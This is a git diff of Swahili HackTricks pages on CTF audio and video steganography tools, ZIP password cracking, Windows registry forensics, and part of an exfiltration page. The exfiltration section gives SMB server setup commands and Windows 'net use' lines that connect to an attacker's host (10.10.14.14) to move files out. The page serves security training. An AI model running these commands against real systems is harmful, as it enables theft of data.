Kwa changamoto za sauti, **[Audacity](http://www.audacityteam.org/)** inajitokeza kama zana bora kwa kuona waveform na kuchambua spectrograms, muhimu kwa kugundua maandishi yaliyoandikwa kwenye sauti. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** inapendekezwa sana kwa uchambuzi wa kina wa spectrogram. **Audacity** inaruhusu udanganyifu wa sauti kama kupunguza kasi au kurudisha nyimbo ili kugundua ujumbe uliofichwa. **[Sox](http://sox.sourceforge.net/)**, zana ya mstari wa amri, inafaulu katika kubadilisha na kuhariri faili za sauti.
|
||||
Kwa changamoto za sauti, **[Audacity](http://www.audacityteam.org/)** inajitokeza kama zana bora kwa kuona waveform na kuchambua spectrograms, muhimu kwa kugundua maandishi yaliyohifadhiwa kwenye sauti. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** inapendekezwa sana kwa uchambuzi wa kina wa spectrogram. **Audacity** inaruhusu udanganyifu wa sauti kama kupunguza kasi au kurudisha nyimbo ili kugundua ujumbe uliofichwa. **[Sox](http://sox.sourceforge.net/)**, zana ya mstari wa amri, inafaulu katika kubadilisha na kuhariri faili za sauti.
|
||||
|
||||
Udanganyifu wa **Biti za Kielelezo cha Chini (LSB)** ni mbinu ya kawaida katika steganografia ya sauti na video, ikichambua vipande vya ukubwa uliowekwa wa faili za media ili kuficha data kwa siri. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** ni muhimu kwa kudecode ujumbe uliofichwa kama **toni za DTMF** au **Morse code**.
|
||||
Udanganyifu wa **Biti za Kimaanisha Kidogo (LSB)** ni mbinu ya kawaida katika steganografia ya sauti na video, ikichexploitisha vipande vya ukubwa uliowekwa wa faili za media kuficha data kwa siri. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** ni muhimu kwa kudecode ujumbe uliofichwa kama **toni za DTMF** au **Msimbo wa Morse**.
|
||||
|
||||
Changamoto za video mara nyingi zinahusisha muundo wa kontena unaofunga mitiririko ya sauti na video. **[FFmpeg](http://ffmpeg.org/)** ni chaguo la kwanza kwa uchambuzi na udanganyifu wa muundo huu, ukiweza kudhibiti na kucheza tena maudhui. Kwa wabunifu, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** inaunganisha uwezo wa FFmpeg ndani ya Python kwa mwingiliano wa scriptable wa juu.
|
||||
Changamoto za video mara nyingi zinahusisha muundo wa chombo ambao unajumuisha mitiririko ya sauti na video. **[FFmpeg](http://ffmpeg.org/)** ni chaguo la kwanza kwa uchambuzi na udanganyifu wa muundo huu, ukiweza kudemultiplex na kucheza tena yaliyomo. Kwa wabunifu, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** inaingiza uwezo wa FFmpeg ndani ya Python kwa mwingiliano wa scriptable wa juu.
|
||||
|
||||
Kundi hili la zana linathibitisha uwezo unaohitajika katika changamoto za CTF, ambapo washiriki lazima watumie wigo mpana wa mbinu za uchambuzi na udanganyifu kufunua data iliyofichwa ndani ya faili za sauti na video.
|
||||
Kundi hili la zana linathibitisha uwezo unaohitajika katika changamoto za CTF, ambapo washiriki lazima watumie wigo mpana wa mbinu za uchambuzi na udanganyifu kugundua data iliyofichwa ndani ya faili za sauti na video.
|
||||
|
||||
## Marejeo
|
||||
* [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhack AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,30 +1,31 @@
|
|||
# Mbinu za ZIPs
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Zana za mstari wa amri** kwa kusimamia **faili za zip** ni muhimu kwa kugundua, kurekebisha, na kuvunja faili za zip. Hapa kuna zana muhimu:
|
||||
**Zana za amri** kwa ajili ya kusimamia **faili za zip** ni muhimu kwa kugundua, kurekebisha, na kuvunja faili za zip. Hapa kuna baadhi ya zana muhimu:
|
||||
|
||||
- **`unzip`**: Inaonyesha kwa nini faili ya zip inaweza kutofautisha.
|
||||
- **`unzip`**: Inaonyesha kwa nini faili ya zip inaweza isifunguke.
|
||||
- **`zipdetails -v`**: Inatoa uchambuzi wa kina wa uga wa muundo wa faili ya zip.
|
||||
- **`zipinfo`**: Inaorodhesha maudhui ya faili ya zip bila kuzitoa.
|
||||
- **`zip -F input.zip --out output.zip`** na **`zip -FF input.zip --out output.zip`**: Jaribu kurekebisha faili za zip zilizoharibika.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Zana ya kuvunja nguvu ya nywila za zip, yenye ufanisi kwa nywila hadi karibu wahusika 7.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Zana ya kuvunja nguvu ya nywila za zip, yenye ufanisi kwa nywila zenye herufi karibu 7.
|
||||
|
||||
[Specifikesheni ya muundo wa faili ya Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) hutoa maelezo kamili juu ya muundo na viwango vya faili za zip.
|
||||
[Specifikesheni ya muundo wa faili ya Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) hutoa maelezo kamili kuhusu muundo na viwango vya faili za zip.
|
||||
|
||||
Ni muhimu kutambua kuwa faili za zip zilizolindwa kwa nywila **hazifichi majina ya faili au ukubwa wa faili** ndani yake, kasoro ya usalama ambayo haishirikiwa na faili za RAR au 7z ambazo huchifua habari hii. Zaidi ya hayo, faili za zip zilizolindwa na njia ya zamani ya ZipCrypto ziko hatarini kwa **shambulio la maandishi wazi** ikiwa nakala isiyochifua ya faili iliyosongeshwa inapatikana. Shambulio hili linatumia yaliyomo yanayojulikana kuvunja nywila ya zip, udhaifu ulioelezewa kwa undani katika [makala ya HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) na kufafanuliwa zaidi katika [karatasi hii ya kisayansi](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). Hata hivyo, faili za zip zilizolindwa na **AES-256** ziko salama kutokana na shambulio hili la maandishi wazi, ikionyesha umuhimu wa kuchagua njia salama za kuchifua data nyeti.
|
||||
Ni muhimu kutambua kwamba faili za zip zilizolindwa kwa nywila **hazifanyi faili za jina au ukubwa wa faili** ndani yake, kasoro ya usalama ambayo haishirikiwa na faili za RAR au 7z ambazo hulinda habari hii. Zaidi ya hayo, faili za zip zilizolindwa kwa njia ya ZipCrypto ya zamani ziko hatarini kwa **shambulio la maandishi wazi** ikiwa nakala isiyolindwa ya faili iliyosongeshwa ipo. Shambulio hili hutumia yaliyomo yanayojulikana kuvunja nywila ya zip, kasoro iliyoelezwa kwa undani katika [makala ya HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) na kufafanuliwa zaidi katika [karatasi hii ya kisayansi](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). Hata hivyo, faili za zip zilizolindwa na **AES-256** ziko salama dhidi ya shambulio hili la maandishi wazi, ikionyesha umuhimu wa kuchagua njia salama za kusimbua data nyeti.
|
||||
|
||||
## Marejeo
|
||||
* [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
|
||||
|
|
|
|||
|
|
@ -1,23 +1,23 @@
|
|||
# Vipengele Vya Kuvutia vya Usajili wa Windows
|
||||
# Vipengele vya Kuvutia vya Usajili wa Windows
|
||||
|
||||
### Vipengele Vya Kuvutia vya Usajili wa Windows
|
||||
### Vipengele vya Kuvutia vya Usajili wa Windows
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
### **Toleo la Windows na Mmiliki Info**
|
||||
### **Toleo la Windows na Mmiliki Maelezo**
|
||||
- Iko katika **`Software\Microsoft\Windows NT\CurrentVersion`**, utapata toleo la Windows, Pakiti ya Huduma, wakati wa usakinishaji, na jina la mmiliki aliyesajiliwa kwa njia rahisi.
|
||||
|
||||
### **Jina la Kompyuta**
|
||||
|
|
@ -37,29 +37,29 @@ Njia nyingine za kusaidia HackTricks:
|
|||
- Kuwezesha ufuatiliaji wa muda wa mwisho wa ufikiaji kunakuwezesha kuona lini faili zilifunguliwa mwisho, jambo ambalo linaweza kuwa muhimu kwa uchambuzi wa kiforensiki au ufuatiliaji wa mfumo.
|
||||
|
||||
### Maelezo ya Habari za Mtandao
|
||||
- Usajili unashikilia data kubwa kuhusu mazingira ya mtandao, ikiwa ni pamoja na **aina za mitandao (bila waya, kebo, 3G)** na **makundi ya mtandao (Umma, Binafsi/Nyumbani, Kikoa/Kazi)**, ambayo ni muhimu kwa kuelewa mipangilio ya usalama wa mtandao na ruhusa.
|
||||
- Usajili unashikilia data kubwa kuhusu mipangilio ya mtandao, ikiwa ni pamoja na **aina za mitandao (bila waya, kebo, 3G)** na **makundi ya mtandao (Umma, Binafsi/Nyumbani, Kikoa/Kazi)**, ambayo ni muhimu kwa kuelewa mipangilio ya usalama wa mtandao na ruhusa.
|
||||
|
||||
### Kache ya Upande wa Mteja (CSC)
|
||||
- **CSC** inaboresha ufikiaji wa faili nje ya mtandao kwa kuhifadhi nakala za faili zilizoshirikiwa. Mipangilio tofauti ya **CSCFlags** inadhibiti jinsi na ni faili zipi zinazohifadhiwa, ikiaathiri utendaji na uzoefu wa mtumiaji, hasa katika mazingira yenye mawasiliano ya muda mfupi.
|
||||
- **CSC** inaboresha ufikio wa faili nje ya mtandao kwa kuhifadhi nakala za faili zilizoshirikiwa. Mipangilio tofauti ya **CSCFlags** inadhibiti jinsi na ni faili gani zilizohifadhiwa, ikiaathiri utendaji na uzoefu wa mtumiaji, hasa katika mazingira yenye mawasiliano ya muda mfupi.
|
||||
|
||||
### Programu za Kuanza Kiotomatiki
|
||||
- Programu zilizoorodheshwa katika funguo za usajili za `Run` na `RunOnce` zinaanzishwa kiotomatiki wakati wa kuanza, zikiathiri wakati wa kuanza wa mfumo na kuwa vituo vya kuvutia kwa kutambua zisizo au programu zisizohitajika.
|
||||
- Programu zilizoorodheshwa katika funguo za usajili za `Run` na `RunOnce` zinaanzishwa kiotomatiki wakati wa kuanza, zikiathiri wakati wa kuanza wa mfumo na kuwa sehemu za kuvutia kwa kutambua zisizo programu hasidi au programu zisizohitajika.
|
||||
|
||||
### Shellbags
|
||||
- **Shellbags** sio tu hifadhi mapendeleo ya maoni ya folda bali pia hutoa ushahidi wa kiforensiki wa ufikiaji wa folda hata kama folda haipo tena. Wanakuwa muhimu kwa uchunguzi, kufunua shughuli za mtumiaji ambazo si wazi kupitia njia nyingine.
|
||||
|
||||
### Habari na Uchunguzi wa USB
|
||||
- Maelezo yaliyohifadhiwa katika usajili kuhusu vifaa vya USB vinaweza kusaidia kufuatilia ni vifaa vipi vilivyokuwa vimeunganishwa kwenye kompyuta, ikilinganisha kifaa na uhamisho wa faili nyeti au matukio ya ufikiaji usioruhusiwa.
|
||||
### Maelezo ya USB na Uchunguzi wa Kiforensiki
|
||||
- Maelezo yaliyohifadhiwa katika usajili kuhusu vifaa vya USB vinaweza kusaidia kufuatilia ni vifaa vipi vilivyokuwa vimeunganishwa kwenye kompyuta, ikilinganisha kifaa na uhamisho wa faili nyeti au matukio ya ufikiaji usiohalali.
|
||||
|
||||
### Nambari ya Serial ya Kiasi
|
||||
- **Nambari ya Serial ya Kiasi** inaweza kuwa muhimu kufuatilia mfano maalum wa mfumo wa faili, ikitumika katika mazingira ya kiforensiki ambapo asili ya faili inahitaji kubainishwa kwenye vifaa tofauti.
|
||||
- **Nambari ya Serial ya Kiasi** inaweza kuwa muhimu kufuatilia kipindi maalum cha mfumo wa faili, ikiwa ni muhimu katika mazingira ya kiforensiki ambapo asili ya faili inahitaji kubainishwa kwenye vifaa tofauti.
|
||||
|
||||
### **Maelezo ya Kuzimwa**
|
||||
- Wakati wa kuzimwa na idadi (ya mwisho tu kwa XP) zinahifadhiwa katika **`System\ControlSet001\Control\Windows`** na **`System\ControlSet001\Control\Watchdog\Display`**.
|
||||
|
||||
### **Mipangilio ya Mtandao**
|
||||
- Kwa maelezo ya kina ya interface ya mtandao, tazama **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
|
||||
- Nyakati za kwanza na za mwisho za uunganisho wa mtandao, ikiwa ni pamoja na uunganisho wa VPN, zinahifadhiwa chini ya njia mbalimbali katika **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**.
|
||||
- Kwa maelezo ya kina ya kiolesura cha mtandao, tazama **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
|
||||
- Nyakati za kwanza na za mwisho za uunganisho wa mtandao, ikiwa ni pamoja na uunganisho wa VPN, zinarekodiwa chini ya njia mbalimbali katika **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**.
|
||||
|
||||
### **Folda Zilizoshirikiwa**
|
||||
- Folda zilizoshirikiwa na mipangilio zinapatikana chini ya **`System\ControlSet001\Services\lanmanserver\Shares`**. Mipangilio ya Kache ya Upande wa Mteja (CSC) inadhibiti upatikanaji wa faili nje ya mtandao.
|
||||
|
|
@ -77,14 +77,29 @@ Njia nyingine za kusaidia HackTricks:
|
|||
- Orodha za MRU, zikionyesha njia za hivi karibuni za faili na amri, zinahifadhiwa katika funguo mbalimbali za chini ya `ComDlg32` na `Explorer` chini ya `NTUSER.DAT`.
|
||||
|
||||
### **Ufuatiliaji wa Shughuli za Mtumiaji**
|
||||
- Kipengele cha User Assist kinahifadhi takwimu za matumizi ya programu kwa undani, ikiwa ni pamoja na idadi ya kukimbia na wakati wa mwisho wa kukimbia, katika **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
|
||||
- Kipengele cha User Assist kinahifadhi takwimu za matumizi ya programu kwa undani, ikiwa ni pamoja na idadi ya matumizi na wakati wa mwisho wa matumizi, katika **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
|
||||
|
||||
### **Uchambuzi wa Shellbags**
|
||||
- Shellbags, zinazoonyesha maelezo ya ufikiaji wa folda, zinahifadhiwa katika `USRCLASS.DAT` na `NTUSER.DAT` chini ya `Software\Microsoft\Windows\Shell`. Tumia **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** kwa uchambuzi.
|
||||
|
||||
### **Historia ya Vifaa vya USB**
|
||||
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** na **`HKLM\SYSTEM\ControlSet001\Enum\USB`** zina maelezo mengi kuhusu vifaa vya USB vilivyounganishwa, ikiwa ni pamoja na mtengenezaji, jina la bidhaa, na muda wa uunganisho.
|
||||
- Mtumiaji aliyeunganishwa na kifaa maalum cha USB anaweza kubainishwa kwa kutafuta mizinga ya `NTUSER.DAT` kwa **{GUID}** ya kifaa.
|
||||
- Mtumiaji aliyeunganishwa na kifaa maalum cha USB anaweza kugunduliwa kwa kutafuta mizinga ya `NTUSER.DAT` kwa **{GUID}** ya kifaa.
|
||||
- Kifaa kilichomount mwisho na nambari yake ya serial ya kiasi vinaweza kufuatiliwa kupitia `System\MountedDevices` na `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, mtawalia.
|
||||
|
||||
Mwongozo huu unakusanya njia muhimu na mbinu za kupata taarifa za kina za mfumo, mtandao, na shughuli za mtumiaji kwenye mifumo ya Windows, ukiwa na lengo la uwazi na matumizi rahisi.
|
||||
Mwongozo huu unakusanya njia muhimu na mbinu za kupata maelezo ya kina ya mfumo, mtandao, na shughuli za mtumiaji kwenye mifumo ya Windows, ukiwa na lengo la uwazi na matumizi rahisi.
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,20 +1,21 @@
|
|||
# Kufyonza
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
@ -24,7 +25,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
## Vyanzo vya kawaida vilivyoorodheshwa kwa ajili ya kufyonza taarifa
|
||||
|
||||
Angalia [https://lots-project.com/](https://lots-project.com/) kupata vyanzo vya kawaida vilivyoorodheshwa ambavyo vinaweza kutumiwa vibaya
|
||||
Angalia [https://lots-project.com/](https://lots-project.com/) ili kupata vyanzo vya kawaida vilivyoorodheshwa ambavyo vinaweza kutumiwa vibaya
|
||||
|
||||
## Nakili\&Banda la Msingi wa 64
|
||||
|
||||
|
|
@ -170,7 +171,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
|
|||
#For new Win10 versions
|
||||
impacket-smbserver -smb2support -user test -password test test `pwd`
|
||||
```
|
||||
Au unaweza kuunda smb share **kwa kutumia samba**:
|
||||
Au tengeneza sehemu ya smb **kwa kutumia samba**:
|
||||
```bash
|
||||
apt-get install samba
|
||||
mkdir /tmp/smb
|
||||
|
|
@ -185,19 +186,7 @@ guest ok = Yes
|
|||
#Start samba
|
||||
service smbd restart
|
||||
```
|
||||
### Exfiltration Techniques on Windows
|
||||
|
||||
#### Exfiltration Over C2 Channels
|
||||
When exfiltrating data over command and control (C2) channels, an attacker can leverage existing C2 infrastructure to blend in with legitimate traffic. This can include using encrypted channels, steganography, or other obfuscation techniques to avoid detection.
|
||||
|
||||
#### Exfiltration Over Alternative Protocols
|
||||
Attackers can also exfiltrate data using alternative protocols such as DNS, ICMP, or HTTP. By encoding data within the protocol traffic, an attacker can bypass network security controls that may only be inspecting specific protocols.
|
||||
|
||||
#### Exfiltration Over Trusted Protocols
|
||||
Utilizing trusted protocols like HTTPS or DNS can help an attacker blend in with normal network traffic. By abusing these protocols to exfiltrate data, an attacker can avoid raising suspicion from security monitoring tools.
|
||||
|
||||
#### Exfiltration Over Encrypted Channels
|
||||
Encrypting exfiltrated data can help evade detection by security tools that are not able to inspect encrypted traffic. By using encryption, an attacker can make it more challenging for defenders to identify and block exfiltration attempts.
|
||||
Windows ni mfumo wa uendeshaji uliotengenezwa na Microsoft. Ni mojawapo ya mifumo maarufu zaidi duniani kwa kompyuta za kibinafsi.
|
||||
```bash
|
||||
CMD-Wind> \\10.10.14.14\path\to\exe
|
||||
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
|
||||
|
|
